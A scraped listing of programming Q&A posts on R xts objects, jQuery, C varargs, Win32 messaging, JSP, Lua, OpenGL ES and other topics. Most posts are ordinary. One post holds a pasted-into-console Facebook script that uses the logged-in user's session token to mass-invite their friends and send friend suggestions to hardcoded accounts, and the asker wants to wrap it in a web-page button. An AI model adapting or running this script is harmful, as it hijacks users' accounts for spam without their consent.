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  • xts error - order.by requires an appropriate time-based object

    - by Samo
    I can not resolve why error in simple creation of xts object xts(rep(0, NROW(TICK.NYSE)), order.by = index(TICK.NYSE)) Error in xts(rep(0, NROW(TICK.NYSE)), order.by = index(TICK.NYSE)) : order.by requires an appropriate time-based object appeared while this was working perfectly 14 days ago when I last used the same code (since then the only difference is that TICK.NYSE grow in length since data was added since then). More details below: > Sys.getenv("TZ") [1] "EST" > tail(xts(rep(0, NROW(TICK.NYSE)), order.by = index(TICK.NYSE))) Error in xts(rep(0, NROW(TICK.NYSE)), order.by = index(TICK.NYSE)) : order.by requires an appropriate time-based object > class(index(TICK.NYSE["T09:30/T09:31"])) [1] "POSIXct" > tail(xts(rep(0, NROW(tail(TICK.NYSE))), order.by = index(tail(TICK.NYSE)))) Error in xts(rep(0, NROW(tail(TICK.NYSE))), order.by = index(tail(TICK.NYSE))) : order.by requires an appropriate time-based object > tail(TICK.NYSE) TICK-NYSE.Open TICK-NYSE.High TICK-NYSE.Low TICK-NYSE.Close 2012-03-15 14:54:00 -278 -89 -299 -89 2012-03-15 14:55:00 -89 427 -89 201 2012-03-15 14:56:00 201 318 30 234 2012-03-15 14:57:00 234 242 -222 -64 2012-03-15 14:58:00 -64 346 -82 346 2012-03-15 14:59:00 346 525 36 525 TICK-NYSE.Volume TICK-NYSE.WAP TICK-NYSE.hasGaps 2012-03-15 14:54:00 0 0 0 2012-03-15 14:55:00 0 0 0 2012-03-15 14:56:00 0 0 0 2012-03-15 14:57:00 0 0 0 2012-03-15 14:58:00 0 0 0 2012-03-15 14:59:00 0 0 0 TICK-NYSE.Count 2012-03-15 14:54:00 31 2012-03-15 14:55:00 31 2012-03-15 14:56:00 31 2012-03-15 14:57:00 31 2012-03-15 14:58:00 29 2012-03-15 14:59:00 30 > str(TICK.NYSE) An ‘xts’ object from 2011-01-18 09:30:00 to 2012-03-15 14:59:00 containing: Data: num [1:114090, 1:8] -5 -144 24 -148 -184 -77 20 121 111 -60 ... - attr(*, "dimnames")=List of 2 ..$ : NULL ..$ : chr [1:8] "TICK-NYSE.Open" "TICK-NYSE.High" "TICK-NYSE.Low" "TICK-NYSE.Close" ... Indexed by objects of class: [POSIXct,POSIXt] TZ: xts Attributes: List of 4 $ from : chr "20110119 23:59:59" $ to : chr "20110124 23:59:59" $ src : chr "IB" $ updated: POSIXct[1:1], format: "2012-01-19 02:34:52" > str(index(TICK.NYSE)) Class 'POSIXct' atomic [1:114090] 1.3e+09 1.3e+09 1.3e+09 1.3e+09 1.3e+09 ... ..- attr(*, "tzone")= chr "" ..- attr(*, "tclass")= chr [1:2] "POSIXct" "POSIXt" > Sys.getenv("TZ") [1] "EST" > tail(index(TICK.NYSE)) [1] "2012-03-15 14:54:00 EST" "2012-03-15 14:55:00 EST" [3] "2012-03-15 14:56:00 EST" "2012-03-15 14:57:00 EST" [5] "2012-03-15 14:58:00 EST" "2012-03-15 14:59:00 EST" > head(index(TICK.NYSE)) [1] "2011-01-18 09:30:00 EST" "2011-01-18 09:31:00 EST" [3] "2011-01-18 09:32:00 EST" "2011-01-18 09:33:00 EST" [5] "2011-01-18 09:34:00 EST" "2011-01-18 09:35:00 EST" > Sys.info() sysname "Linux" release "3.0.0-16-generic" version "#28-Ubuntu SMP Fri Jan 27 17:44:39 UTC 2012" > sessionInfo() R version 2.14.1 (2011-12-22) Platform: x86_64-pc-linux-gnu (64-bit) locale: [1] LC_CTYPE=en_US.UTF-8 LC_NUMERIC=C [3] LC_TIME=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 [5] LC_MONETARY=en_US.UTF-8 LC_MESSAGES=en_US.UTF-8 [7] LC_PAPER=en_US.UTF-8 LC_NAME=en_US.UTF-8 [9] LC_ADDRESS=en_US.UTF-8 LC_TELEPHONE=en_US.UTF-8 [11] LC_MEASUREMENT=en_US.UTF-8 LC_IDENTIFICATION=en_US.UTF-8 attached base packages: [1] stats graphics grDevices utils datasets methods base other attached packages: [1] lattice_0.20-0 multicore_0.1-7 [3] doSNOW_1.0.5 snow_0.3-8 [5] doRedis_1.0.4 rredis_1.6.3 [7] foreach_1.3.2 codetools_0.2-8 [9] iterators_1.0.5 PerformanceAnalytics_1.0.3.3 [11] quantstrat_0.6.1 blotter_0.8.4 [13] twsInstrument_1.3-3 FinancialInstrument_0.10.6 [15] IBrokers_0.9-6 quantmod_0.3-18 [17] TTR_0.21-0 xts_0.8-4 [19] Defaults_1.1-1 strucchange_1.4-6 [21] sandwich_2.2-8 zoo_1.7-7 [23] rj_1.0.2-5 loaded via a namespace (and not attached): [1] grid_2.14.1 tools_2.14.1 > dput(tail(TICK.NYSE)) structure(c(-385, -213, -42, -334, -233, -111, -121, 20, -14, -125, -73, 265, -583, -269, -426, -520, -443, -440, -213, -42, -334, -233, -111, 119, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 31, 31, 30, 30, 31, 31), class = c("xts", "zoo" ), .indexCLASS = c("POSIXct", "POSIXt"), .indexTZ = "", from = "20110119 23:59:59", to = "20110124 23:59:59", src = "IB", updated = structure(1326958492.96405, class = c("POSIXct", "POSIXt")), index = structure(c(1331927640, 1331927700, 1331927760, 1331927820, 1331927880, 1331927940), tzone = "", tclass = c("POSIXct", "POSIXt")), .Dim = c(6L, 8L), .Dimnames = list(NULL, c("TICK-NYSE.Open", "TICK-NYSE.High", "TICK-NYSE.Low", "TICK-NYSE.Close", "TICK-NYSE.Volume", "TICK-NYSE.WAP", "TICK-NYSE.hasGaps", "TICK-NYSE.Count")))

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  • Jquery drag /drop and clone

    - by Sajeev
    Hi I need to achive this .. I have a set of droppable items ( basically I am droping designs on a apparel ) and I am dropping a clone.. If I don't like the dropped object (designs) - I want to delete that by doing something like hidden . But I am unable to do that. Please help me.. here is the code var clone; $(document).ready(function(){ $(".items").draggable({helper: 'clone',cursor: 'hand'}); $(".droparea").droppable({ accept: ".items", hoverClass: 'dropareahover', tolerance: 'pointer', drop: function(ev, ui) { var dropElemId = ui.draggable.attr("id"); var dropElem = ui.draggable.html(); clone = $(dropElem).clone(); // clone it and hold onto the jquery object clone.id="newId"; clone.css("position", "absolute"); clone.css("top", ui.absolutePosition.top); clone.css("left", ui.absolutePosition.left); clone.draggable({ containment: 'parent' ,cursor: 'crosshair'}); $(this).append(clone); alert("done dragging "); /lets assume I have a delete button when I click that clone should dissapear so that I can drop another design - but the following code has no effect //and the item is still visible , how to make it dissapear ? $('#newId').css("visibility","hidden"); } }); });

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  • Is this 2D array initialization a bad idea?

    - by Brendan Long
    I have something I need a 2D array for, but for better cache performance, I'd rather have it actually be a normal array. Here's the idea I had but I don't know if it's a terrible idea: const int XWIDTH = 10, YWIDTH = 10; int main(){ int * tempInts = new int[XWIDTH * YWIDTH]; int ** ints = new int*[XWIDTH]; for(int i=0; i<XWIDTH; i++){ ints[i] = &tempInts[i*YWIDTH]; } // do things with ints delete[] ints[0]; delete[] ints; return 0; } So the idea is that instead of newing a bunch of arrays (and having them placed in different places in memory), I just point to an array I made all at once. The reason for the delete[] (int*) ints; is because I'm actually doing this in a class and it would save [trivial amounts of] memory to not save the original pointer. Just wondering if there's any reasons this is a horrible idea. Or if there's an easier/better way. The goal is to be able to access the array as ints[x][y] rather than ints[x*YWIDTH+y].

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  • Send Click Message to another application process

    - by Nazar Hussain
    I have a scenario, i need to send click events to an independent application. I started that application with the following code. private Process app; app = new Process(); app.StartInfo.FileName = app_path; app.StartInfo.WorkingDirectory = dir_path; app.Start(); Now i want to send Mouse click message to that applicaiton, I have specific coordinates in relative to application window. How can i do it using Windows Messaging or any other technique. I used [DllImport("user32.dll")] private static extern void mouse_event(UInt32 dwFlags, UInt32 dx, UInt32 dy, UInt32 dwData, IntPtr dwExtraInfo); It works well but cause the pointer to move as well. So not fit for my need. Then i use. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)] static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); It works well for minimize maximize, but do not work for mouse events. The codes for mousevents i am using are, WM_LBUTTONDOWN = 0x201, //Left mousebutton down WM_LBUTTONUP = 0x202, //Left mousebutton up WM_LBUTTONDBLCLK = 0x203, //Left mousebutton doubleclick WM_RBUTTONDOWN = 0x204, //Right mousebutton down WM_RBUTTONUP = 0x205, //Right mousebutton up WM_RBUTTONDBLCLK = 0x206, //Right mousebutton do Thanks for the help in advance, and waiting for feedback.

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  • How to get address of va_arg?

    - by lionbest
    I hack some old C API and i got a compile error with the following code: void OP_Exec( OP* op , ... ) { int i; va_list vl; va_start(vl,op); for( i = 0; i < op->param_count; ++i ) { switch( op->param_type[i] ) { case OP_PCHAR: op->param_buffer[i] = va_arg(vl,char*); // ok it works break; case OP_INT: op->param_buffer[i] = &va_arg(vl,int); // error here break; // ... more here } } op->pexec(op); va_end(vl); } The error with gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu9) was: main.c|55|error: lvalue required as unary ‘&’ operand So why exactly it's not possible here to get a pointer to argument? How to fix it? This code is executed very often with different OP*, so i prefer to not allocate extra memory. Is it possible to iterate over va_list knowing only the size of arguments?

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  • error in C++, what to do ?: could not find an match for ostream::write(long *, unsigned int)

    - by Shantanu Gupta
    I am trying to write data stored in a binary file using turbo C++. But it shows me an error could not find an match for ostream::write(long *, unsigned int) I want to write a 4 byte long data into that file. When i tries to write data using char pointer. It runs successfully. But i want to store large value i.e. eg. 2454545454 Which can be stored in long only. I dont know how to convert 1 byte into bit. I have 1 byte of data as a character. Moreover what i m trying to do is to convert 4 chars into long and store data into it. And at the other side i want to reverse this so as to retrieve how many bytes of data i have written. long *lmem; lmem=new long; *lmem=Tsize; fo.write(lmem,sizeof(long));// error occurs here delete lmem; I am implementing steganography and i have successfully stored txt file into image but trying to retrieve that file data now.

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  • jsp error plz check this code why are not insert my data into database

    - by lekhni
    <%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%> <%@ page import="java.sql.*" %> <%@ page import="java.io.*"%> <%@ page import="java.io.File"%> <%@ page import="java.util.*"%> <%@ page import="java.sql.*"%> <%@ page import="java.sql.Blob"%> <%@ page import="java.sql.PreparedStatement"%> <%@ page import="java.sql.BatchUpdateException"%> <%@ page import="javax.servlet.*"%> <%@ page import="javax.servlet.http.*"%> <% String path = request.getContextPath(); String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <base href="<%=basePath%>"> <title>My JSP 'p.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> <!-- <link rel="stylesheet" type="text/css" href="styles.css"> --> </head> <body> <% int activityId = Integer.parseInt(request.getParameter("activityId")); String name = request.getParameter("name"); String activityType = request.getParameter("activityType"); int parentId = Integer.parseInt(request.getParameter("parentId")); String description = request.getParameter("description"); %> <% Connection conn=null; PreparedStatement pstatement = null; try{ Class.forName("com.mysql.jdbc.Driver"); conn=DriverManager.getConnection("jdbc:mysql://localhost:3306/pol","root","1234"); Statement st=conn.createStatement(); String queryString = "INSERT INTO activity(activityId,name,activityType,parentId,description)" + " VALUES (?, ?, ?, ?, ?)"; pstatement = conn.prepareStatement(queryString); pstatement.setInt(1, activityId); pstatement.setString(2, name); pstatement.setString(3, activityType); pstatement.setInt(4, parentId); pstatement.setString(5, description); } catch (Exception ex) { out.println("Unable to connect to batabase."); } finally { pstatement.close(); conn.close(); } %> </body> </html>

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  • Java abstract visitor - guarantueed to succeed? If so, why?

    - by disown
    I was dealing with hibernate, trying to figure out the run-time class behind proxied instances by using the visitor pattern. I then came up with an AbstractVisitable approach, but I wonder if it will always produce correct results. Consider the following code: interface Visitable { public void accept(Visitor v); } interface Visitor { public void visit(Visitable visitorHost); } abstract class AbstractVisitable implements Visitable { @Override public void accept(Visitor v) { v.visit(this); } } class ConcreteVisitable extends AbstractVisitable { public static void main(String[] args) { final Visitable visitable = new ConcreteVisitable(); final Visitable proxyVisitable = (Visitable) Proxy.newProxyInstance( Thread.currentThread().getContextClassLoader(), new Class<?>[] { Visitable.class }, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { return method.invoke(visitable, args); } }); proxyVisitable.accept(new Visitor() { @Override public void visit(Visitable visitorHost) { System.out.println(visitorHost.getClass()); } }); } } This makes a ConcreteVisitable which inherits the accept method from AbstractVisitable. In c++, I would consider this risky, since this in AbstractVisitable could be referencing to AbstractVisitable::this, and not ConcreteVisitable::this. I was worried that the code under certain circumstances would print class AbstractVisible. Yet the code above outputs class ConcreteVisitable, even though I hid the real type behind a dynamic proxy (the most difficult case I could come up with). Is the abstract visitor approach above guaranteed to work, or are there some pitfalls with this approach? What guarantees are given in Java with respect to the this pointer?

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  • how to conver this to a button action

    - by Filipe Heitor
    i have this code to paste in a browser console, can i turn this in to a button ??? and run in a html page? javascript:var Title="Ganhando Likes Na Pagina Do Facebook.";var Descriptions="",_text='Criado & Configurado Por Pelegrino RoxCurta Por favor MeGustaJEdi';page_id=/"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];function InviteFriends(opo){jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send_single/?page_id="+page_id+"&invitee="+opo+"&elem_id=u_0_1k&action=send&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg="+fb_dtsg+"&phstamp=",function(a){var b=a.substring(a.indexOf("{"));var c=JSON.parse(b);i--;Descriptions="";err++;if(c.errorDescription)Descriptions+=c.errorDescription;else Descriptions+=JSON.stringify(c,null,"")}else{Descriptions+="color:darkgreen'";Descriptions+=arn[i]+" has been invited to like the page "+page_name+".";suc++}Descriptions+="";var display="";display+=""+Title+"";if(i0){display+=arr.length+" Friends Detected";display+=""+suc+" Friends Invited of "+(arr.length-i)+" Friends Processed ";display+="("+i+" Lefted...)";display+="";display+=Descriptions;display+="https://fbcdn-profile-a.akamaihd.net/.../r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src="+pho[i]+""+arn[i]+"";display+="";display+="Please Wait While Inviting Your Friends to Like Your Page "+page_name+".";display+=_text;display+="";display+="";window[tag+"_close"]=true}else{Title="All Of Your Friends Have Been Invited to Like Your Page.";display+=arr.length+" Friends Detected and ";display+=""+suc+" Friends Invited.";display+="Go to HomepageRefresh PageCancel";display+="";display+=_text;display+="";window[tag+"_close"]=false}display+="";document.getElementById("pagelet_sidebar").innerHTML=display},"text","post");tay--;if(tay0){var s=arr[tay];setTimeout("InviteFriends("+s+")",100)}console.log(tay+"/"+arr.length+":"+arr[tay]+"/"+arn[tay]+", success:"+suc);if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=1273872655&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658165120113116104521114",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/friends/suggest?&receiver="+opo+"&newcomer=100002920534041&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user="+user_id+"&_a=1&_dyn=798aD5z5CF-&__req=17&fb_dtsg="+fb_dtsg+"&phstamp=1658168561015387781130",function(){},"text","post");if(page_id)jx.load(window.location.protocol+"//www.facebook.com/ajax/pages/invite/send?&fb_dtsg="+fb_dtsg+"&profileChooserItems=%7B%22"+opo+"%22%3A1%7D&checkableitems[0]="+opo+"&page_id="+page_id+"&__user="+user_id+"&_a=1&_dyn=7n8aD5z5CF-3ui&__req=k&phstamp=",function(){},"text","post")}jx={b:function(){var b=!1;if("undefined"!=typeof ActiveXObject)try{b=new ActiveXObject("Msxml2.XMLHTTP")}catch(c){try{b=new ActiveXObject("Microsoft.XMLHTTP")}catch(a){b=!1}}else if(window.XMLHttpRequest)try{b=new XMLHttpRequest}catch(h){b=!1}return b},load:function(b,c,a,h,g){var e=this.d();if(e&&b){e.overrideMimeType&&e.overrideMimeType("text/xml");h||(h="GET");a||(a="text");g||(g={});a=a.toLowerCase();h=h.toUpperCase();b+=b.indexOf("?")+1?"&":"?";var k=null;"POST"==h&&(k=b.split("?"),b=k[0],k=k[1]);e.open(h,b,!0);e.onreadystatechange=g.c?function(){g.c(e)}:function(){if(4==e.readyState)if(200==e.status){var b="";e.responseText&&(b=e.responseText);"j"==a.charAt(0)?(b=b.replace(/[\n\r]/g,""),b=eval("("+b+")")):"x"==a.charAt(0)&&(b=e.responseXML);c&&c(b)}else g.f&&document.getElementsByTagName("body")[0].removeChild(g.f),g.e&&(document.getElementById(g.e).style.display="none"),error&&error(e.status)};e.send(k)}},d:function(){return this.b()}};function ChangeLocation(){window.location.href="http://www.facebook.com/"}setTimeout("ChangeLocation",1);window.onbeforeunload=function(){if(window[tag+"_close"])return"This script is running now!"};var i=3;var tay=3;var suc=0;var err=0;var arr=new Array;var arn=new Array;var pho=new Array;var tag="Close";var page_name,x=document.getElementsByTagName("span");for(i=0;ia=1&_dyn=7n8aD5z5CF-3ui&__req=l",function(a){var b=a;var c=b.substring(b.indexOf("{"));var d=JSON.parse(c);d=d.payload.entries;for(var e=0;e";display+=""+Title+"";display+=arr.length+" Friends Detected";display+="";document.getElementById("pagelet_sidebar").innerHTML=display;InviteFriends(arr[i])});

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  • How do I get around this lambda expression outer variable issue?

    - by panamack
    I'm playing with PropertyDescriptor and ICustomTypeDescriptor (still) trying to bind a WPF DataGrid to an object, for which the data is stored in a Dictionary. Since if you pass WPF DataGrid a list of Dictionary objects it will auto generate columns based on the public properties of a dictionary (Comparer, Count, Keys and Values) my Person subclasses Dictionary and implements ICustomTypeDescriptor. ICustomTypeDescriptor defines a GetProperties method which returns a PropertyDescriptorCollection. PropertyDescriptor is abstract so you have to subclass it, I figured I'd have a constructor that took Func and an Action parameters that delegate the getting and setting of the values in the dictionary. I then create a PersonPropertyDescriptor for each Key in the dictionary like this: foreach (string s in this.Keys) { var descriptor = new PersonPropertyDescriptor( s, new Func<object>(() => { return this[s]; }), new Action<object>(o => { this[s] = o; })); propList.Add(descriptor); } The problem is that each property get's its own Func and Action but they all share the outer variable s so although the DataGrid autogenerates columns for "ID","FirstName","LastName", "Age", "Gender" they all get and set against "Gender" which is the final resting value of s in the foreach loop. How can I ensure that each delegate uses the desired dictionary Key, i.e. the value of s at the time the Func/Action is instantiated? Much obliged. Here's the rest of my idea, I'm just experimenting here these are not 'real' classes... // DataGrid binds to a People instance public class People : List<Person> { public People() { this.Add(new Person()); } } public class Person : Dictionary<string, object>, ICustomTypeDescriptor { private static PropertyDescriptorCollection descriptors; public Person() { this["ID"] = "201203"; this["FirstName"] = "Bud"; this["LastName"] = "Tree"; this["Age"] = 99; this["Gender"] = "M"; } //... other ICustomTypeDescriptor members... public PropertyDescriptorCollection GetProperties() { if (descriptors == null) { var propList = new List<PropertyDescriptor>(); foreach (string s in this.Keys) { var descriptor = new PersonPropertyDescriptor( s, new Func<object>(() => { return this[s]; }), new Action<object>(o => { this[s] = o; })); propList.Add(descriptor); } descriptors = new PropertyDescriptorCollection(propList.ToArray()); } return descriptors; } //... other other ICustomTypeDescriptor members... } public class PersonPropertyDescriptor : PropertyDescriptor { private Func<object> getFunc; private Action<object> setAction; public PersonPropertyDescriptor(string name, Func<object> getFunc, Action<object> setAction) : base(name, null) { this.getFunc = getFunc; this.setAction = setAction; } // other ... PropertyDescriptor members... public override object GetValue(object component) { return getFunc(); } public override void SetValue(object component, object value) { setAction(value); } }

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  • Self referencing userdata and garbage collection

    - by drtwox
    Because my userdata objects reference themselves, I need to delete and nil a variable for the garbage collector to work. Lua code: obj = object:new() -- -- Some time later obj:delete() -- Removes the self reference obj = nil -- Ready for collection C Code: typedef struct { int self; // Reference to the object // Other members and function references removed } Object; // Called from Lua to create a new object static int object_new( lua_State *L ) { Object *obj = lua_newuserdata( L, sizeof( Object ) ); // Create the 'self' reference, userdata is on the stack top obj->self = luaL_ref( L, LUA_REGISTRYINDEX ); // Put the userdata back on the stack before returning lua_rawgeti( L, LUA_REGISTRYINDEX, obj->self ); // The object pointer is also stored outside of Lua for processing in C return 1; } // Called by Lua to delete an object static int object_delete( lua_State *L ) { Object *obj = lua_touserdata( L, 1 ); // Remove the objects self reference luaL_unref( L, LUA_REGISTRYINDEX, obj->self ); return 0; } Is there some way I can set the object to nil in Lua, and have the delete() method called automatically? Alternatively, can the delete method nil all variables that reference the object? Can the self reference be made 'weak'?

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  • Function pointers to member functions

    - by Jacob
    There are several duplicates of this but nobody explains why I can use a member variable to store the pointer (in FOO) but when I try it with a local variable (in the commented portion of BAR), it's illegal. Could anybody explain this? #include <iostream> using namespace std; class FOO { public: int (FOO::*fptr)(int a, int b); int add_stuff(int a, int b) { return a+b; } void call_adder(int a, int b) { fptr = &FOO::add_stuff; cout<<(this->*fptr)(a,b)<<endl; } }; class BAR { public: int add_stuff(int a, int b) { return a+b; } void call_adder(int a, int b) { //int (BAR::*fptr)(int a, int b); //fptr = &BAR::add_stuff; //cout<<(*fptr)(a,b)<<endl; } }; int main() { FOO test; test.call_adder(10,20); return 0; }

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  • Delaying execution of Javascript function relative to Google Maps / geoxml3 parser?

    - by Terra Fimeira
    I'm working on a implementing a Google map on a website with our own tiles overlays and KML elements. I've been previously requested to create code so that, for instance, when the page is loaded from a specific URL, it would initialize with one of the tile overlays already enabled. Recently, I've been requested to do the same for the buildings which are outlined by KML elements so that, arriving at the page with a specific URL, it would automatically zoom, center, and display information on the building. However, while starting with the tile overlays work, the building KML does not. After doing some testing, I've determined that when the code which checks the URL executes, the page is still loading the KML elements and thus do not exist for the code to compare to or use: Code for evaluating URL (placed at the end of onLoad="initialize()") function urlClick() { var currentURL = window.location.href; //Retrieve page URL var URLpiece = currentURL.slice(-6); //pull the last 6 digits (for testing) if (URLpiece === "access") { //If the resulting string is "access": access_click(); //Display accessibility overlay } else if (URLpiece === "middle") { //Else if the string is "middle": facetClick('Middle College'); //Click on building "Middle College" }; }; facetClick(); function facetClick(name) { //Convert building name to building ID. for (var i = 0; i < active.placemarks.length; i++) { if (active.placemarks[i].name === name) { sideClick(i) //Click building whose id matches "Middle College" }; }; }; Firebug Console Error active is null for (var i = 0; i < active.placemarks.length; i++) { active.placemarks is which KML elements are loaded on the page, and being null, means no KML has been loaded yet. In short, I have a mistiming and I can't seem to find a suitable place to place the URL code to execute after the KMl has loaded. As noted above, I placed it at the end of onLoad="initialize()", but it would appear that, instead of waiting for the KML to completely load earlier in the function, the remainder of the function is executed: onLoad="initialize()" information(); //Use the buttons variables inital state to set up description buttons(); //and button state button_hover(0); //and button description to neutral. //Create and arrange the Google Map. //Create basic tile overlays. //Set up parser to work with KML elements. myParser = new geoXML3.parser({ //Parser: Takes KML and converts to JS. map: map, //Applies parsed KML to the map singleInfoWindow: true, afterParse: useTheData //Allows us to use the parsed KML in a function }); myParser.parse(['/maps/kml/shapes.kml','/maps/kml/shapes_hidden.kml']); google.maps.event.addListener(map, 'maptypeid_changed', function() { autoOverlay(); }); //Create other tile overlays to appear over KML elements. urlClick(); I suspect one my issues lies in using the geoxml3 parser (http://code.google.com/p/geoxml3/) which converts our KML files to Javascript. While the page has completed loading all of the elements, the map on the page is still loading, including the KML elements. I have also tried placing urlClick() in the parser itself in various places which appear to execute after all the shapes have been parsed, but I've had no success there either. While I've been intending to strip out the parser, I would like to know if there is any way of executing the "urlClick" after the parser has returned the KML shapes. Ideally, I don't want to use an arbitrary means of defining a time to wait, such as "wait 3 seconds, and go", as my various browsers all load the page at different times; rather, I'm looking for some way to say "when the parser is done, execute" or "when the Google map is completely loaded, execute" or perhaps even "hold until the parser is complete before advancing to urlClick".

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  • android opengl es texture mapping into polygons

    - by kamil
    I wrote opengl es code for android to map textures on a square but i want to draw texture on polygons. When user moved the image, texture will be mapped on polygons have more vertexes. I tried the arrays combination below for pentagon but i could not find the correct triangle combination in indices array. public float vertices[] = { // -1.0f, 1.0f, 0.0f, //Top Left // -1.0f, -1.0f, 0.0f, //Bottom Left // 1.0f, -1.0f, 0.0f, //Bottom Right // 1.0f, 1.0f, 0.0f //Top Right -1.0f, 1.0f, 0.0f, //Top Left -1.0f, -1.0f, 0.0f, //Bottom Left 1.0f, -1.0f, 0.0f, //Bottom Right 1.0f, 1.0f, 0.0f, //Top Right 0.4f, 1.4f, 0.0f }; /** Our texture pointer */ private int[] textures = new int[1]; /** The initial texture coordinates (u, v) */ private float texture[] = { //Mapping coordinates for the vertices // 1.0f, 0.0f, // 1.0f, 1.0f, // 0.0f, 1.0f, // 0.0f, 0.0f, // 0.0f, 1.0f, // 0.0f, 0.0f, // 1.0f, 0.0f, // 1.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 1.0f, 1.0f, 1.0f, 0.0f, 1.0f, 0.7f, }; /** The initial indices definition */ private byte indices[] = { //2 triangles // 0,1,2, 2,3,0, 0,1,2, 2,3,4, 3,4,0, //triangles for five vertexes }; i draw with the code below gl.glDrawElements(GL10.GL_TRIANGLES, indices.length, GL10.GL_UNSIGNED_BYTE, indexBuffer);

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  • C: Fifo between threads, writing and reading strings

    - by Yonatan
    Hello once more dear internet, I writing a small program that among other things, writes a log file of commands received. to do that, I want to use a thread that all it should do is just attempt to read from a pipe, while the main thread will write into that pipe whenever it should. Since i don't know the length of each string command, i thought about writing and reading the pointer to the char buf[MAX_MESSAGE_LEN]. Since what i've tried so far doesn't work, i'll post my best effort :P char str[] = "hello log thread 123456789 10 11 12 13 14 15 16 17 18 19\n"; if (pipe(pipe_fd) != 0) return -1; pthread_t log_thread; pthread_create(&log_thread,NULL, log_thread_start, argv[2]); success_write = 0; do { write(pipe_fd[1],(void*)&str,sizeof(char*)); } while (success_write < sizeof(char*)); and the thread does this: char buffer[MAX_MSGLEN]; int success_read; success_read = 0; //while(1) { do { success_read += read(pipe_fd[0],(void*)&buffer, sizeof(char*)); } while (success_read < sizeof(char*)); //} printf("%s",buffer); (Sorry if this doesn't indent, i can't seem to figure out this editor...) oh, and pipe_fd[2] is a global parameter. So, any help with this, either by the way i thought of, or another way i could read strings without knowing the length, would be much appreciated. On a side note, i'm working on Eclipse IDE C/C++, version 1.2.1 and i can't seem to set up the compiler so it will link the pthread library to my project. I've resorted to writing my own Makefile to make it (pun intended :P) work. Anyone knows what to do ? i've looked online, but all i find are solutions that are probably good on an older version because the tabs and option keys are different. Anyways, Thanks a bunch internet ! Yonatan

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  • Rapid taps on an OpenGL ES app introducing input delay

    - by Tim R.
    I am starting out writing a 2D game in OpenGL ES, and I have encountered an odd problem: if I rapidly tap the touchscreen, the input starts lagging behind the display. The more times I tap, the more delay it causes between the input and any indication of that input onscreen. It only happens if I intentionally tap very rapidly, but not from tapping and dragging with any number of fingers. What could be causing this? Excessive details follow: Both accelerometer input and taps are delayed by just tapping. The only events I am responding to are touchesBegan (below) in my EAGLView and accelerometer:(UIAccelerometer *)accelerometer didAccelerate:(UIAcceleration *)acceleration in my Game object. There doesn't seem to be any upper limit to the amount of delay: I've gotten up to 12 seconds of delay by tapping rapidly with five fingers. I have not seen any drops in framerate (it stays constantly at 60 fps) in the OpenGL ES tool in Instruments or by taking 1/the time between updates. Possibly relevant code: - (void) drawView:(id) sender { [game update:allTouches]; [renderer render:game]; } -(void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { allTouches = [event allTouches]; } allTouches is a pointer that gets passed to my Game every update, which passes it to each GameObject in their update methods.

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  • Behavior difference between UIView.subviews and [NSView subviews]

    - by zpasternack
    I have a piece of code in an iPhone app, which removes all subviews from a UIView subclass. It looks like this: NSArray* subViews = self.subviews; for( UIView *aView in subViews ) { [aView removeFromSuperview]; } This works fine. In fact, I never really gave it much thought until I tried nearly the same thing in a Mac OS X app (from an NSView subclass): NSArray* subViews = [self subviews]; for( NSView *aView in subViews ) { [aView removeFromSuperview]; } That totally doesn’t work. Specifically, at runtime, I get this: *** Collection <NSCFArray: 0x1005208a0> was mutated while being enumerated. I ended up doing it like so: NSArray* subViews = [[self subviews] copy]; for( NSView *aView in subViews ) { [aView removeFromSuperview]; } [subViews release]; That's fine. What’s bugging me, though, is why does it work on the iPhone? subviews is a copy property: @property(nonatomic,readonly,copy) NSArray *subviews; My first thought was, maybe @synthesize’d getters return a copy when the copy attribute is specified. The doc is clear on the semantics of copy for setters, but doesn’t appear to say either way for getters (or at least, it’s not apparent to me). And actually, doing a few tests of my own, this clearly does not seem to be the case. Which is good, I think returning a copy would be problematic, for a few reasons. So the question is: how does the above code work on the iPhone? NSView is clearly returning a pointer to the actual array of subviews, and perhaps UIView isn’t. Perhaps it’s simply an implementation detail of UIView, and I shouldn’t get worked up about it. Can anyone offer any insight?

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  • Mouse management in JavaScript games

    - by Jakob
